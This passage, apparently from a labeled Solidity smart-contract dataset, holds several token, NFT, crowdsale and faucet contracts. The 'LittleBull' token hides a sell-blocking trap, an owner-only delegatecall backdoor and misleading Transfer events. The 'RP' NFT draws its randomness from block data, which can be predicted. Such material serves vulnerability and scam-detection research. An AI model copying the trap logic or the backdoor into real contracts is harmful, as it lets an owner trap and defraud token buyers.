allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval (address _spender, uint _addedValue)
returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue)
returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract RxEALTokenContract is StandardToken {
string public constant name = "RxEAL";
string public constant symbol = "RXL";
uint256 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 96000000 * (10 ** decimals);
address public vault = this;
address public salesAgent;
mapping (address => bool) public owners;
event OwnershipGranted(address indexed _owner, address indexed revoked_owner);
event OwnershipRevoked(address indexed _owner, address indexed granted_owner);
event SalesAgentPermissionsTransferred(address indexed previousSalesAgent, address indexed newSalesAgent);
event SalesAgentRemoved(address indexed currentSalesAgent);
event Burn(uint256 value);
modifier onlyOwner() {
require(owners[msg.sender] == true);
_;
}
function RxEALTokenContract() {
owners[msg.sender] = true;
totalSupply = INITIAL_SUPPLY;
balances[vault] = totalSupply;
}
function grantOwnership(address _owner) onlyOwner public {
require(_owner != address(0));
owners[_owner] = true;
OwnershipGranted(msg.sender, _owner);
}
function revokeOwnership(address _owner) onlyOwner public {
require(_owner != msg.sender);
owners[_owner] = false;
OwnershipRevoked(msg.sender, _owner);
}
function transferSalesAgentPermissions(address _salesAgent) onlyOwner public {
SalesAgentPermissionsTransferred(salesAgent, _salesAgent);
salesAgent = _salesAgent;
}
function removeSalesAgent() onlyOwner public {
SalesAgentRemoved(salesAgent);
salesAgent = address(0);
}
function transferTokensFromVault(address _from, address _to, uint256 _amount) public {
require(salesAgent == msg.sender);
balances[vault] = balances[vault].sub(_amount);
balances[_to] = balances[_to].add(_amount);
Transfer(_from, _to, _amount);
}
function burn(uint256 _value) onlyOwner public {
require(_value > 0);
balances[vault] = balances[vault].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(_value);
}
}
contract RxEALSaleContractExtended {
using SafeMath for uint256;
RxEALTokenContract public token;
uint256 public startTime = 1520856000;
uint256 public endTime = 1526040000;
address public wallet1 = 0x56E4e5d451dF045827e214FE10bBF99D730d9683;
address public wallet2 = 0x8C0988711E60CfF153359Ab6CFC8d45565C6ce79;
address public wallet3 = 0x0EdF5c34ddE2573f162CcfEede99EeC6aCF1c2CB;
address public wallet4 = 0xcBdC5eE000f77f3bCc0eFeF0dc47d38911CBD45B;
uint256 public tier_rate_1 = 1800;
uint256 public tier_cap_1 = 4584000;
uint256 public tier_rate_2 = 1440;
uint256 public tier_cap_2 = 14400000;
uint256 public tier_rate_3 = 1320;
uint256 public tier_cap_3 = 14400000;
uint256 public tier_rate_4 = 1200;
uint256 public tier_cap_4 = 14400000;
uint256 public hard_cap;
uint8 public current_tier = 1;
uint256 public weiRaised;
uint256 public soldTokens;
uint256 public current_tier_sold_tokens;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 tokens);
function RxEALSaleContractExtended() {
token = RxEALTokenContract(0xD6682Db9106e0cfB530B697cA0EcDC8F5597CD15);
tier_cap_1 = tier_cap_1 * (10 ** token.decimals());
tier_cap_2 = tier_cap_2 * (10 ** token.decimals());
tier_cap_3 = tier_cap_3 * (10 ** token.decimals());
tier_cap_4 = tier_cap_4 * (10 ** token.decimals());
hard_cap = tier_cap_1 + tier_cap_2 + tier_cap_3 + tier_cap_4;
}
function () payable {
buyTokens(msg.sender);
}
function tier_action(
uint8 tier,
uint256 left_wei,
uint256 tokens_amount,
uint8 next_tier,
uint256 tier_rate,
uint256 tier_cap
) internal returns (uint256, uint256) {
if (current_tier == tier) {
uint256 tokens_can_be_sold;
uint256 tokens_to_be_sold = left_wei.mul(tier_rate);
uint256 new_tier_sold_tokens = current_tier_sold_tokens.add(tokens_to_be_sold);
if (new_tier_sold_tokens >= tier_cap) {
uint256 spare_tokens = new_tier_sold_tokens.sub(tier_cap);
tokens_can_be_sold = tokens_to_be_sold.sub(spare_tokens);
current_tier_sold_tokens = 0;
current_tier = next_tier;
} else {
tokens_can_be_sold = tokens_to_be_sold;
current_tier_sold_tokens = new_tier_sold_tokens;
}
uint256 wei_amount = tokens_can_be_sold.div(tier_rate);
left_wei = left_wei.sub(wei_amount);
tokens_amount = tokens_amount.add(tokens_can_be_sold);
}
return (left_wei, tokens_amount);
}
function buyTokens(address beneficiary) public payable {
require(validPurchase());
uint256 left_wei = msg.value;
uint256 tokens_amount;
(left_wei, tokens_amount) = tier_action(1, left_wei, tokens_amount, 2, tier_rate_1, tier_cap_1);
(left_wei, tokens_amount) = tier_action(2, left_wei, tokens_amount, 3, tier_rate_2, tier_cap_2);
(left_wei, tokens_amount) = tier_action(3, left_wei, tokens_amount, 4, tier_rate_3, tier_cap_3);
(left_wei, tokens_amount) = tier_action(4, left_wei, tokens_amount, 4, tier_rate_4, tier_cap_4);
uint256 purchase_wei_amount = msg.value.sub(left_wei);
weiRaised = weiRaised.add(purchase_wei_amount);
soldTokens = soldTokens.add(tokens_amount);
if (left_wei > 0) {
beneficiary.transfer(left_wei);
}
token.transferTokensFromVault(msg.sender, beneficiary, tokens_amount);
TokenPurchase(msg.sender, beneficiary, purchase_wei_amount, tokens_amount);
forwardFunds(purchase_wei_amount);
}
function forwardFunds(uint256 weiAmount) internal {
uint256 value = weiAmount.div(4);
if (value.mul(4) != weiAmount) {
wallet1.transfer(weiAmount);
} else {
wallet1.transfer(value);
wallet2.transfer(value);
wallet3.transfer(value);
wallet4.transfer(value);
}
}
function validPurchase() internal constant returns (bool) {
bool withinCap = soldTokens < hard_cap;
bool withinPeriod = now >= startTime && now <= endTime;
bool nonZeroPurchase = msg.value != 0;
return withinPeriod && nonZeroPurchase && withinCap;
}
function hasEnded() public constant returns (bool) {
return now > endTime || soldTokens >= hard_cap;
}
} | 1 | 4,774 |
pragma solidity ^0.4.24;
contract ERC721Basic {
event Transfer(
address indexed _from,
address indexed _to,
uint256 _tokenId
);
event Approval(
address indexed _owner,
address indexed _approved,
uint256 _tokenId
);
event ApprovalForAll(
address indexed _owner,
address indexed _operator,
bool _approved
);
function balanceOf(address _owner) public view returns (uint256 _balance);
function ownerOf(uint256 _tokenId) public view returns (address _owner);
function exists(uint256 _tokenId) public view returns (bool _exists);
function approve(address _to, uint256 _tokenId) public;
function getApproved(uint256 _tokenId)
public view returns (address _operator);
function setApprovalForAll(address _operator, bool _approved) public;
function isApprovedForAll(address _owner, address _operator)
public view returns (bool);
function transferFrom(address _from, address _to, uint256 _tokenId) public;
function safeTransferFrom(address _from, address _to, uint256 _tokenId)
public;
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId,
bytes _data
)
public;
}
contract ERC721Enumerable is ERC721Basic {
function totalSupply() public view returns (uint256);
function tokenOfOwnerByIndex(
address _owner,
uint256 _index
)
public
view
returns (uint256 _tokenId);
function tokenByIndex(uint256 _index) public view returns (uint256);
}
contract ERC721Metadata is ERC721Basic {
function name() public view returns (string _name);
function symbol() public view returns (string _symbol);
function tokenURI(uint256 _tokenId) public view returns (string);
}
contract ERC721 is ERC721Basic, ERC721Enumerable, ERC721Metadata {
}
library AddressUtils {
function isContract(address addr) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(addr) }
return size > 0;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ERC721Receiver {
bytes4 constant ERC721_RECEIVED = 0xf0b9e5ba;
function onERC721Received(
address _from,
uint256 _tokenId,
bytes _data
)
public
returns(bytes4);
}
contract ERC721BasicToken is ERC721Basic {
using SafeMath for uint256;
using AddressUtils for address;
bytes4 constant ERC721_RECEIVED = 0xf0b9e5ba;
mapping (uint256 => address) internal tokenOwner;
mapping (uint256 => address) internal tokenApprovals;
mapping (address => uint256) internal ownedTokensCount;
mapping (address => mapping (address => bool)) internal operatorApprovals;
modifier onlyOwnerOf(uint256 _tokenId) {
require(ownerOf(_tokenId) == msg.sender);
_;
}
modifier canTransfer(uint256 _tokenId) {
require(isApprovedOrOwner(msg.sender, _tokenId));
_;
}
function balanceOf(address _owner) public view returns (uint256) {
require(_owner != address(0));
return ownedTokensCount[_owner];
}
function ownerOf(uint256 _tokenId) public view returns (address) {
address owner = tokenOwner[_tokenId];
require(owner != address(0));
return owner;
}
function exists(uint256 _tokenId) public view returns (bool) {
address owner = tokenOwner[_tokenId];
return owner != address(0);
}
function approve(address _to, uint256 _tokenId) public {
address owner = ownerOf(_tokenId);
require(_to != owner);
require(msg.sender == owner || isApprovedForAll(owner, msg.sender));
if (getApproved(_tokenId) != address(0) || _to != address(0)) {
tokenApprovals[_tokenId] = _to;
emit Approval(owner, _to, _tokenId);
}
}
function getApproved(uint256 _tokenId) public view returns (address) {
return tokenApprovals[_tokenId];
}
function setApprovalForAll(address _to, bool _approved) public {
require(_to != msg.sender);
operatorApprovals[msg.sender][_to] = _approved;
emit ApprovalForAll(msg.sender, _to, _approved);
}
function isApprovedForAll(
address _owner,
address _operator
)
public
view
returns (bool)
{
return operatorApprovals[_owner][_operator];
}
function transferFrom(
address _from,
address _to,
uint256 _tokenId
)
public
canTransfer(_tokenId)
{
require(_from != address(0));
require(_to != address(0));
clearApproval(_from, _tokenId);
removeTokenFrom(_from, _tokenId);
addTokenTo(_to, _tokenId);
emit Transfer(_from, _to, _tokenId);
}
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId
)
public
canTransfer(_tokenId)
{
safeTransferFrom(_from, _to, _tokenId, "");
}
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId,
bytes _data
)
public
canTransfer(_tokenId)
{
transferFrom(_from, _to, _tokenId);
require(checkAndCallSafeTransfer(_from, _to, _tokenId, _data));
}
function isApprovedOrOwner(
address _spender,
uint256 _tokenId
)
internal
view
returns (bool)
{
address owner = ownerOf(_tokenId);
return (
_spender == owner ||
getApproved(_tokenId) == _spender ||
isApprovedForAll(owner, _spender)
);
}
function _mint(address _to, uint256 _tokenId) internal {
require(_to != address(0));
addTokenTo(_to, _tokenId);
emit Transfer(address(0), _to, _tokenId);
}
function _burn(address _owner, uint256 _tokenId) internal {
clearApproval(_owner, _tokenId);
removeTokenFrom(_owner, _tokenId);
emit Transfer(_owner, address(0), _tokenId);
}
function clearApproval(address _owner, uint256 _tokenId) internal {
require(ownerOf(_tokenId) == _owner);
if (tokenApprovals[_tokenId] != address(0)) {
tokenApprovals[_tokenId] = address(0);
emit Approval(_owner, address(0), _tokenId);
}
}
function addTokenTo(address _to, uint256 _tokenId) internal {
require(tokenOwner[_tokenId] == address(0));
tokenOwner[_tokenId] = _to;
ownedTokensCount[_to] = ownedTokensCount[_to].add(1);
}
function removeTokenFrom(address _from, uint256 _tokenId) internal {
require(ownerOf(_tokenId) == _from);
ownedTokensCount[_from] = ownedTokensCount[_from].sub(1);
tokenOwner[_tokenId] = address(0);
}
function checkAndCallSafeTransfer(
address _from,
address _to,
uint256 _tokenId,
bytes _data
)
internal
returns (bool)
{
if (!_to.isContract()) {
return true;
}
bytes4 retval = ERC721Receiver(_to).onERC721Received(
_from, _tokenId, _data);
return (retval == ERC721_RECEIVED);
}
}
contract ERC721Token is ERC721, ERC721BasicToken {
string internal name_;
string internal symbol_;
mapping(address => uint256[]) internal ownedTokens;
mapping(uint256 => uint256) internal ownedTokensIndex;
uint256[] internal allTokens;
mapping(uint256 => uint256) internal allTokensIndex;
mapping(uint256 => string) internal tokenURIs;
constructor(string _name, string _symbol) public {
name_ = _name;
symbol_ = _symbol;
}
function name() public view returns (string) {
return name_;
}
function symbol() public view returns (string) {
return symbol_;
}
function tokenURI(uint256 _tokenId) public view returns (string) {
require(exists(_tokenId));
return tokenURIs[_tokenId];
}
function tokenOfOwnerByIndex(
address _owner,
uint256 _index
)
public
view
returns (uint256)
{
require(_index < balanceOf(_owner));
return ownedTokens[_owner][_index];
}
function totalSupply() public view returns (uint256) {
return allTokens.length;
}
function tokenByIndex(uint256 _index) public view returns (uint256) {
require(_index < totalSupply());
return allTokens[_index];
}
function _setTokenURI(uint256 _tokenId, string _uri) internal {
require(exists(_tokenId));
tokenURIs[_tokenId] = _uri;
}
function addTokenTo(address _to, uint256 _tokenId) internal {
super.addTokenTo(_to, _tokenId);
uint256 length = ownedTokens[_to].length;
ownedTokens[_to].push(_tokenId);
ownedTokensIndex[_tokenId] = length;
}
function removeTokenFrom(address _from, uint256 _tokenId) internal {
super.removeTokenFrom(_from, _tokenId);
uint256 tokenIndex = ownedTokensIndex[_tokenId];
uint256 lastTokenIndex = ownedTokens[_from].length.sub(1);
uint256 lastToken = ownedTokens[_from][lastTokenIndex];
ownedTokens[_from][tokenIndex] = lastToken;
ownedTokens[_from][lastTokenIndex] = 0;
ownedTokens[_from].length--;
ownedTokensIndex[_tokenId] = 0;
ownedTokensIndex[lastToken] = tokenIndex;
}
function _mint(address _to, uint256 _tokenId) internal {
super._mint(_to, _tokenId);
allTokensIndex[_tokenId] = allTokens.length;
allTokens.push(_tokenId);
}
function _burn(address _owner, uint256 _tokenId) internal {
super._burn(_owner, _tokenId);
if (bytes(tokenURIs[_tokenId]).length != 0) {
delete tokenURIs[_tokenId];
}
uint256 tokenIndex = allTokensIndex[_tokenId];
uint256 lastTokenIndex = allTokens.length.sub(1);
uint256 lastToken = allTokens[lastTokenIndex];
allTokens[tokenIndex] = lastToken;
allTokens[lastTokenIndex] = 0;
allTokens.length--;
allTokensIndex[_tokenId] = 0;
allTokensIndex[lastToken] = tokenIndex;
}
}
contract OrderString {
function getOrderString () view external returns(string);
}
contract RP is ERC721Token("侠客行", "赏善罚恶令") {
uint8 public decimals = 0;
string[] internal orders;
mapping (uint256 => bool) internal unavailableOrders;
uint public available;
address internal contractOwner;
function implementsERC721() public pure returns (bool) {
return true;
}
event GetAvailable(uint256 indexed random, uint256 indexed available);
modifier onlyOwner() {
require(msg.sender == contractOwner);
_;
}
constructor() public {
contractOwner = msg.sender;
}
function getOrders (address _orderContract) onlyOwner public returns(bool res){
require(_orderContract.isContract());
bytes memory _orderString = bytes(OrderString(_orderContract).getOrderString());
bytes memory char = new bytes(3);
delete orders;
for (uint i = 0;i < _orderString.length;i += 3) {
for (uint j = 0;j < 3;j++) {
char[j] = _orderString[i + j];
}
orders.push(string(char));
}
available = orders.length;
return true;
}
function getTokenOrder(uint256 tokenId) view public returns (string) {
return orders[tokenId];
}
function getOwnedTokens() view public returns (string) {
bytes memory ownedTokens = new bytes(orders.length * 3);
bytes memory fullspace = ' ';
uint c = 0;
uint j = 0;
for (uint i = 0;i < orders.length;i++) {
if (tokenOwner[i] == msg.sender) {
for (c = 0;c < 3;c++) {
ownedTokens[j++] = bytes(orders[i])[c];
}
} else {
for (c = 0;c < 3;c++) {
ownedTokens[j++] = bytes(fullspace)[c];
}
}
}
return string(ownedTokens);
}
function () payable public {
require (available > 0,"not available");
require (msg.value >= 0.01 ether,"lowest ether");
require (msg.sender == contractOwner || balanceOf(msg.sender) == 0,"had one");
uint tokenId = _getRandom(orders.length);
uint reset = 0;
for (uint i = tokenId;i < orders.length;i++) {
if (reset == 1) {
i = 0;
reset = 0;
}
if (! unavailableOrders[i]) {
emit GetAvailable(tokenId,i);
tokenId = i;
break;
} else if (i == orders.length - 1) {
reset = 1;
i = 0;
}
}
_mint(msg.sender, tokenId);
unavailableOrders[tokenId] = true;
available--;
}
function _getRandom(uint max) private view returns(uint256) {
uint256 random = uint256(keccak256(abi.encodePacked(block.difficulty,now)));
return random % max;
}
function approve(address _to, uint256 _tokenId) public {
require (_to == contractOwner || balanceOf(_to) == 0,"had one");
super.approve(_to, _tokenId);
}
function setApprovalForAll(address _to, bool _approved) public {
require (_to == contractOwner || balanceOf(_to) == 0,"had one");
super.setApprovalForAll(_to, _approved);
}
function withdraw() external onlyOwner {
address contractAddress = this;
contractOwner.transfer(contractAddress.balance);
}
} | 1 | 5,377 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract LittleBull {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 685 |
pragma solidity ^0.4.16;
contract owned {
address public owner;
function owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
owner = newOwner;
}
}
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract TokenERC20 {
string public name;
string public symbol;
uint8 public decimals = 18;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
event CollectPayment(address indexed from, address indexed to, uint256 value);
function TokenERC20(uint256 initialSupply, string tokenName, string tokenSymbol) public {
totalSupply = initialSupply * (10 ** uint256(decimals));
balanceOf[this] = totalSupply;
name = tokenName;
symbol = tokenSymbol;
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
totalSupply -= _value;
Burn(_from, _value);
return true;
}
}
contract BizCoin is owned, TokenERC20 {
uint256 public sendOnRequest = 10000 * (10 ** uint256(decimals));
mapping (address => bool) public hasRequested;
function BizCoin(uint256 initialSupply, string tokenName, string tokenSymbol) TokenERC20(initialSupply, tokenName, tokenSymbol) public {}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function request() public {
require(hasRequested[msg.sender] == false);
hasRequested[msg.sender] = true;
_transfer(this, msg.sender, sendOnRequest);
}
function () payable public {
request();
}
} | 1 | 3,912 |
pragma solidity ^0.4.17;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract Ownable {
address public owner;
function Ownable() {
